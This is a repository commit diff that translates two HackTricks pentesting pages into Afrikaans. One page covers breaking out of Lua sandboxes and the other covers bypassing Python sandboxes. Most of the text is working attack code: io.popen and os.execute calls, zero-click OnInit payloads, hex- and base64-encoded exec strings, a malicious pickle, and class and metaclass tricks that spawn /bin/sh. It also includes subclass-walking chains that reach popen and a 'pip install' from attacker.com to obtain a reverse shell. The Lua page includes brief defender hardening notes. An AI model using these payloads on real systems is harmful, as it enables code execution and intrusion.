maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/web-vulnerabilities-methodology/README.m

Browse Source
This commit is contained in:
Translator 2025-09-03 11:40:00 +00:00
parent a8eb52d171
commit ffc4052630
9 changed files with 348 additions and 1845 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

57
src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md
View File

@ -2,17 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
Hierdie bladsy versamel praktiese tegnieke om Lua "sandboxes" wat in toepassings ingebed is (veral game clients, plugins, of in-app scripting engines) te enumereer en daaruit te breek. Baie engines stel 'n beperkte Lua-omgewing beskikbaar, maar laat kragtige globals bereikbaar wat arbitêre opdraguitvoering of selfs native memory corruption moontlik maak wanneer bytecode loaders blootgestel word.
This page versamel praktiese tegnieke om te enumereer en uit Lua "sandboxes" wat in toepassings ingebed is (veral: game clients, plugins, of in-app scripting engines) uit te breek. Baie engines openbaar 'n beperkte Lua-omgewing, maar laat kragtige globals bereikbaar wat arbitrêre opdraguitvoering of selfs native memory corruption moontlik maak wanneer bytecode loaders blootgestel word.
Key ideas:
- Behandel die VM as 'n onbekende omgewing: enumereer _G en ontdek watter gevaarlike primitives bereikbaar is.
- Wanneer stdout/print geblokkeer is, misbruik enige in-VM UI/IPC channel as 'n output sink om resultate te observeer.
- Behandel die VM as 'n onbekende omgewing: enumereer _G en ontdek watter gevaarlike primitiewe bereikbaar is.
- Wanneer stdout/print geblokkeer is, misbruik enige in-VM UI/IPC-kanaal as 'n output sink om resultate waar te neem.
- As io/os blootgestel is, het jy dikwels direkte command execution (io.popen, os.execute).
- As load/loadstring/loadfile beskikbaar is, kan die uitvoering van gespesialiseerde Lua bytecode geheueveiligheid in sommige weergawes ondermyn (≤5.1 verifiers are bypassable; 5.2 removed verifier), wat geavanceerde exploitation moontlik maak.
- As load/loadstring/loadfile blootgestel is, kan die uitvoering van vervaardigde Lua bytecode memory safety in sekere weergawes ondermyn (≤5.1 verifiers is bypassable; 5.2 het die verifier verwyder), wat gevorderde exploitation moontlik maak.
## Enumerate the sandboxed environment
- Dump the global environment to inventory reachable tables/functions:
- Dump die global environment om 'n inventaris te maak van bereikbare tables/functions:
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
end
end
```
- As daar geen print() beskikbaar is nie, hergebruik in-VM channels. Voorbeeld uit 'n MMO housing script VM waar chat output slegs werk na 'n sound call; die volgende bou 'n betroubare output-funksie:
- As print() nie beskikbaar is nie, hergebruik in-VM-kanale. Voorbeeld uit 'n MMO housing-skrip-VM waar chat-uitset slegs werk ná 'n sound call; die volgende bou 'n betroubare uitset-funksie:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
@ -39,11 +39,11 @@ local out = ButlerOut(1)
dump_globals(out)
end
```
Generaliseer hierdie patroon vir jou teiken: enige textbox, toast, logger, of UI callback wat strings aanvaar, kan as stdout vir verkenning dien.
Generaliseer hierdie patroon vir jou teiken: enige textbox, toast, logger of UI callback wat strings aanvaar kan as stdout dien vir reconnaissance.
## Direkte command execution as io/os blootgestel is
## Direct command execution indien io/os blootgestel is
As die sandbox steeds die standaardbiblioteke io of os blootstel, het jy waarskynlik onmiddellike command execution:
Indien die sandbox steeds die standaardbiblioteke io of os blootstel, het jy waarskynlik onmiddellike command execution:
```lua
-- Windows example
io.popen("calc.exe")
@ -52,29 +52,30 @@ io.popen("calc.exe")
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
- Uitvoering gebeur binne die kliëntproses; baie anti-cheat/antidebug-lae wat eksterne debuggers blokkeer, sal in-VM prosescreatie nie voorkom nie.
- Kontroleer ook: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
Aantekeninge:
- Uitvoering vind binne die kliëntproses plaas; baie anti-cheat/antidebug-lae wat eksterne debuggers blokkeer, sal nie verhoed dat 'n proses binne die VM geskep word nie.
- Kyk ook na: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
## Zero-click triggers via auto-run callbacks
As die host-applikasie skripte na kliënte druk en die VM auto-run hooks blootstel (bv. OnInit/OnLoad/OnEnter), plaas jou payload daar vir drive-by compromise sodra die skrip laai:
If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
Enige ekwivalente callback (OnLoad, OnEnter, etc.) generaliseer hierdie tegniek wanneer scripts outomaties na die kliënt gestuur en daar uitgevoer word.
Enige ekwivalente callback (OnLoad, OnEnter, ens.) generaliseer hierdie tegniek wanneer skripte outomaties na die client oorgedra en daar uitgevoer word.
## Gevaarlike primitiewe om tydens recon na te soek
## Gevaarlike primitiewe om tydens recon na te jaag
Tydens _G-enumerasie, kyk spesifiek na:
- io, os: io.popen, os.execute, file I/O, env access.
- load, loadstring, loadfile, dofile: voer bron of bytecode uit; ondersteun die laai van onbetroubare bytecode.
- package, package.loadlib, require: dinamiese biblioteeklading en module-oppervlak.
- load, loadstring, loadfile, dofile: voer bronkode of bytecode uit; ondersteun die laai van onbetroubare bytecode.
- package, package.loadlib, require: dynamiese biblioteeklading en module-oppervlak.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
- LuaJIT-only: ffi.cdef, ffi.load om native kode direk aan te roep.
Minimal usage examples (if reachable):
Minimale gebruiksvoorbeelde (indien bereikbaar):
```lua
-- Execute source/bytecode
local f = load("return 1+1")
@ -89,20 +90,20 @@ print(g())
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## Opsionele eskalasie: misbruik van Lua bytecode-laaiers
## Opsionele eskalasie: misbruik van Lua bytecode loaders
Wanneer load/loadstring/loadfile bereikbaar is maar io/os beperk is, kan die uitvoering van voorafgemaakte Lua bytecode lei tot geheue-openbaring en korrupsie-primitiewe. Belangrike feite:
- Lua ≤ 5.1 het 'n bytecode verifier wat bekende bypasses het.
- Lua 5.2 het die verifier heeltemal verwyder (amptelike standpunt: toepassings moet bloot precompiled chunks verwerp), wat die aanvaloppervlak vergroot as bytecode loading nie verbied word nie.
- Tipiese werkvloei: leak pointers via in-VM output, craft bytecode om type confusions te skep (bv. rondom FORLOOP of ander opcodes), en dan pivot na arbitrary read/write of native code execution.
Wanneer load/loadstring/loadfile bereikbaar is maar io/os beperk is, kan die uitvoering van vervaardigde Lua bytecode lei tot geheue-onthulling en korruptie-primitiewe. Belangrike feite:
- Lua ≤ 5.1 het 'n bytecode verifier geverskaf wat bekende omseilings het.
- Lua 5.2 het die verifier heeltemal verwyder (amptelike standpunt: toepassings moet vooraf-gecompileerde chunks net verwerp), wat die aanvalsvlakte verbreed as bytecode loading nie verbied word nie.
- Tipiese werkvloei: leak pointers via in-VM output, vervaardig bytecode om type confusions te skep (bv. rondom FORLOOP of ander opcodes), en dan skuif na arbitrary read/write of native code execution.
Hierdie pad is engine-/version-spesifiek en vereis RE. Sien die verwysings vir diepgaande ontledings, exploitation primitives, en voorbeeld-gadgetry in games.
Hierdie pad is engine/version-specific en vereis RE. Sien verwysings vir dieper ontledings, exploitation primitives, en voorbeeld-gadgetry in games.
## Opsporing- en verhardingsnotas (vir verdedigers)
## Opsporing en verhardingsnotas (vir verdedigers)
- Bedienerkant: verwerp of herskryf gebruikersskripte; allowlist veilige APIs; verwyder of bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Kliëntkant: voer Lua uit met 'n minimale _ENV, verbied bytecode loading, herintroduceer 'n streng bytecode verifier of signature checks, en blokkeer process creation vanaf die kliëntproses.
- Telemetrie: waarsku op gameclient → child process creation kort ná skriplaai; korreleer met UI/chat/script events.
- Server side: verwerp of herskryf gebruikersskrips; allowlist veilige APIs; verwyder of bind-leeg io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Client side: hardloop Lua met 'n minimale _ENV, verbied bytecode loading, herintroduceer 'n streng bytecode verifier of signature checks, en blokkeer process creation vanaf die kliëntproses.
- Telemetry: waarsku oor gameclient → child process creation kort nadat script gelaai is; korreleer met UI/chat/script-gebeure.
## References

184
src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
View File

@ -1,12 +1,13 @@
# Omseil Python sandboxes
# Omseil python sandbokse
{{#include ../../../banners/hacktricks-training.md}}
Hier is 'n paar truuks om python sandbox protections te omseil en execute arbitrary commands.
Dit is 'n paar truuks om python-sandbox-beskerming te omseil en willekeurige opdragte uit te voer.
## Command Execution Libraries
Die eerste ding wat jy moet weet, is of jy direk execute code kan met 'n reeds geïmporteerde library, of jy enige van hierdie libraries kan import:
## Biblioteke vir opdraguitvoering
Die eerste ding wat jy moet weet, is of jy direk kode kan uitvoer met 'n reeds geïmporteerde biblioteek, of dat jy enige van hierdie biblioteke kan importeer:
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +40,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
Onthou dat die _**open**_ en _**read**_ funksies nuttig kan wees om **read files** binne die python sandbox te lees en om **write some code** te skryf wat jy kan **execute** om die sandbox te **bypass**.
> [!CAUTION] > **Python2 input()** funksie laat toe om python kode uit te voer voordat die program crash.
> [!CAUTION] > **Python2 input()** funksie laat toe dat python code uitgevoer word voordat die program crash.
Python probeer eers biblioteke uit die huidige directory te **laai** (die volgende opdrag sal druk waarvandaan python modules gelaai word): `python3 -c 'import sys; print(sys.path)'`
Python probeer eers **load libraries from the current directory first** (die volgende opdrag sal uitprint van waar python modules laai): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Bypass pickle sandbox met die standaard geïnstalleerde python packages
## Bypass pickle sandbox with the default installed python packages
### Standaard packages
### Standaard pakkette
Jy kan 'n **lys van vooraf geïnstalleerde** packages hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Let wel dat jy vanaf 'n pickle die python env kan laat **import arbitrary libraries** wat in die stelsel geïnstalleer is.\
Byvoorbeeld, die volgende pickle, wanneer dit gelaai word, gaan die pip library importeer om dit te gebruik:
Jy kan 'n **lys van voorgeïnstalleerde** pakkette hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Neem kennis dat jy vanuit 'n pickle die python env kan laat **import arbitrary libraries** wat in die stelsel geïnstalleer is.\
Byvoorbeeld, die volgende pickle, wanneer gelaai, gaan die pip library import om dit te gebruik:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +67,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Vir meer inligting oor hoe pickle werk kyk hier: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Vir meer inligting oor hoe pickle werk, kyk hier: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip package
Truuk gedeel deur **@isHaacK**
As jy toegang het tot `pip` of `pip.main()` kan jy 'n arbitrêre pakket installeer en 'n reverse shell verkry deur die volgende aan te roep:
As jy toegang het tot `pip` of `pip.main()` kan jy 'n willekeurige pakket installeer en 'n reverse shell kry deur dit aan te roep:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Jy kan die pakket hier aflaai om die reverse shell te skep. Neem asseblief kennis dat jy dit voor gebruik moet **ontpak, die `setup.py` verander, en jou IP vir die reverse shell instel**:
Jy kan die pakket hier aflaai om die reverse shell te skep. Neem asseblief kennis dat jy dit voordat jy dit gebruik moet **pak dit uit, die `setup.py` verander, en jou IP vir die reverse shell insit**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Hierdie pakket heet `Reverse`. Dit is egter spesiaal saamgestel sodat wanneer jy die reverse shell verlaat die oorblywende installasie sal misluk, dus sal jy **geen ekstra python-pakket op die bediener agterlaat** wanneer jy weggaan nie.
> Hierdie pakket heet `Reverse`. Dit is egter spesiaal ontwerp sodat as jy die reverse shell verlaat die res van die installasie sal misluk, sodat jy **geen ekstra python package op die bediener geïnstalleer sal agterlaat wanneer jy vertrek nie**.
## Eval-ing python code
> [!WARNING]
> Let wel dat exec multiline strings en ";" toelaat, maar eval nie (kyk walrus operator)
> Let wel dat exec multiline strings en ";", toelaat, maar eval nie (kyk walrus operator nie)
As sekere karakters verbied is, kan jy die **hex/octal/B64** voorstelling gebruik om die beperking te **omseil**:
As sekere karakters verbied is, kan jy die **hex/octal/B64** voorstelling gebruik om die beperking te **bypass**:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Ander biblioteke wat toelaat om python code te eval
### Ander biblioteke wat toelaat om eval python code
```python
#Pandas
import pandas as pd
@ -126,15 +127,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
Sien ook 'n regte wêreld sandboxed evaluator-ontsnapping in PDF-generatorë:
Sien ook 'n werklike sandboxed evaluator escape in PDF-genereerders:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Dit misbruik rl_safe_eval om by function.__globals__ en os.system uit te kom vanaf geëvalueerde attributte (byvoorbeeld font color) en gee 'n geldige waarde terug om rendering stabiel te hou.
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Dit misbruik rl_safe_eval om toegang te kry tot function.__globals__ en os.system via geëvalueerde attributes (byvoorbeeld fontkleur) en gee 'n geldige waarde terug om rendering stabiel te hou.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## Operateurs en kort truuks
## Operators en kort truuks
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -143,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Om beskermings deur enkoderinge (UTF-7) te omseil
## Om beskermings deur enkoderinge te omseil (UTF-7)
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 word gebruik om arbitêre python-kode binne 'n skynbare sandbox te laad en uit te voer:
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 word gebruik om ewekansige python-kode binne 'n skynbare sandbox te laai en uit te voer:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -160,7 +161,7 @@ Dit is ook moontlik om dit te omseil deur ander enkoderinge te gebruik, bv. `raw
## Python-uitvoering sonder calls
As jy binne 'n python jail is wat **jou nie toelaat om calls te maak** nie, is daar steeds 'n paar maniere om **arbitrêre functions en code** en **commands** uit te voer.
As jy binne 'n python jail is wat **jou nie toelaat om calls te maak** nie, is daar steeds 'n paar maniere om **execute arbitrary functions, code** en **commands** uit te voer.
### RCE met [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -184,13 +185,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE creating objects and overloading
### RCE die skep van objekte en oorlading
As jy kan **declare a class** en **create an object** van daardie class, kan jy **write/overwrite different methods** wat **triggered** kan word **sonder** **om dit direk aan te roep**.
Indien jy **'n klas kan verklaar** en **'n objek van daardie klas kan skep**, kan jy **verskillende metodes skryf/oorskryf** wat **geaktiveer** kan word **sonder** **om dit direk te hoef op te roep**.
#### RCE with custom classes
#### RCE met aangepaste klasse
Jy kan sommige **class methods** wysig (_deur bestaande class methods te overwrite of 'n nuwe class te create_) om hulle **execute arbitrary code** te laat wanneer hulle **triggered** word sonder om hulle direk aan te roep.
Jy kan sommige **class methods** (_deur bestaande class methods oor te skryf of 'n nuwe klas te skep_) wysig sodat hulle **arbitrêre kode kan uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk aan te roep.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -240,9 +241,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### Skep objekke met [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
#### Objekte skep met [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Die belangrikste ding wat metaclasses ons toelaat om te doen, is **maak 'n instance van 'n class, sonder om die constructor direk aan te roep**, deur 'n nuwe class te skep met die teiken-class as 'n metaclass.
Die belangrikste ding wat metaclasses ons toelaat om te doen, is **'n instance van 'n class maak sonder om die constructor direk aan te roep**, deur 'n nuwe class te skep met die target class as 'n metaclass.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -259,7 +260,7 @@ Sub['import os; os.system("sh")']
```
#### Skep objects met exceptions
Wanneer 'n **exception geaktiveer word**, word 'n object van die **Exception** **geskep** sonder dat jy die constructor direk hoef aan te roep (’n truuk van [**@_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Wanneer 'n **exception** geaktiveer word, word 'n object van die **Exception** **geskep** sonder dat jy die constructor direk hoef aan te roep (n truuk van [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -315,17 +316,17 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
As jy toegang tot die **`__builtins__`** object het, kan jy libraries inporteer (let daarop dat jy hier ook ander stringvoorstellings kan gebruik soos in die laaste afdeling gewys):
As jy toegang tot die **`__builtins__`** object het, kan jy libraries import (let daarop dat jy hier ook ander string representation, soos in die laaste afdeling getoon, kan gebruik):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### Geen Builtins
As jy nie `__builtins__` het nie sal jy niks kan importeer nie en selfs nie lêers kan lees of skryf nie aangesien **al die globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is**.\
Tog **standaard importeer python baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **laai ook gevaarlike** funksionaliteite binne-in wat aangeroep kan word om selfs **arbitrary code execution** te bereik.
As jy nie `__builtins__` het nie, sal jy niks kan importeer of selfs lêers kan lees of skryf nie, aangesien **al die globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is**.\
**Standaard laai python baie modules in geheue**. Hierdie modules mag onskadelik voorkom, maar sommige van hulle **laai ook gevaarlike** funksionaliteit binne-in hulle wat geraadpleeg kan word om selfs **arbitrary code execution** te verkry.
In die volgende voorbeelde kan jy sien hoe om sommige van hierdie "**onskuldige**" modules wat gelaai is te **misbruik** om **toegang** tot **gevaarlike** **funksionaliteite** binne-in hulle te kry.
In die volgende voorbeelde kan jy sien hoe sommige van hierdie gelaaide "**benign**" modules **abuse** kan word om **access** **dangerous** **functionalities** binne-in hulle te kry.
**Python2**
```python
@ -367,7 +368,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Hieronder is 'n groter funksie**](#recursive-search-of-builtins-globals) om tientalle/**honderde** van **plekke** te vind waar jy die **builtins** kan vind.
[**Hieronder is 'n groter funksie**](#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **builtins** kan vind.
#### Python2 and Python3
```python
@ -383,7 +384,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals and locals
## Globals en locals
Om die **`globals`** en **`locals`** na te gaan is 'n goeie manier om te weet waartoe jy toegang het.
```python
@ -409,7 +410,7 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Hieronder is 'n groter function**](#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **globals** kan vind.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **globals** kan vind.
## Ontdek Arbitrary Execution
@ -417,7 +418,7 @@ Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksionaliteite wat gel
#### Toegang tot subclasses met bypasses
Een van die mees sensitiewe dele van hierdie tegniek is om in staat te wees om **access the base subclasses**. In die vorige voorbeelde is dit met `''.__class__.__base__.__subclasses__()` gedoen, maar daar is **ander moontlike maniere**:
Een van die sensitiefste dele van hierdie tegniek is om in staat te wees om **access the base subclasses**. In die vorige voorbeelde is dit gedoen met behulp van `''.__class__.__base__.__subclasses__()` maar daar is **ander moontlike maniere**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -445,18 +446,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Opspoor van gevaarlike libraries wat gelaai is
### Finding dangerous libraries loaded
Byvoorbeeld, as jy weet dat met die library **`sys`** dit moontlik is om **import arbitrary libraries**, kan jy soek na al die **modules loaded that have imported sys inside of them**:
Byvoorbeeld, aangesien dit met die library **`sys`** moontlik is om **import arbitrary libraries**, kan jy soek na al die **modules loaded that have imported sys inside of them**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Daar is baie, en **ons het net een nodig** om opdragte uit te voer:
Daar is baie, en **ons het net een nodig** om commands uit te voer:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Ons kan dieselfde doen met **ander biblioteke** waarvan ons weet dat hulle gebruik kan word om **kommando's uit te voer**:
Ons kan dieselfde doen met **ander biblioteke** waarvan ons weet dat hulle gebruik kan word om **opdragte uit te voer**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -491,7 +492,7 @@ Ons kan dieselfde doen met **ander biblioteke** waarvan ons weet dat hulle gebru
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Daarbenewens kan ons selfs soek watter modules kwaadaardige libraries laai:
Daarbenewens kan ons selfs nagaan watter modules malicious libraries laai:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -510,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Boonop, as jy dink **ander biblioteke** dalk in staat is om **funksies aan te roep om opdragte uit te voer**, kan ons ook **filtreer op funksiename** binne die moontlike biblioteke:
Verder, as jy dink **ander biblioteke** moontlik **funksies kan aanroep om opdragte uit te voer**, kan ons ook **op die name van funksies** binne die moontlike biblioteke filtreer:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -546,7 +547,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## Rekursiewe soektog na Builtins, Globals...
> [!WARNING]
> Dit is net **fantasties**. As jy **op soek is na 'n objek soos globals, builtins, open of enigiets** gebruik net hierdie script om **rekursief plekke te vind waar jy daardie objek kan vind.**
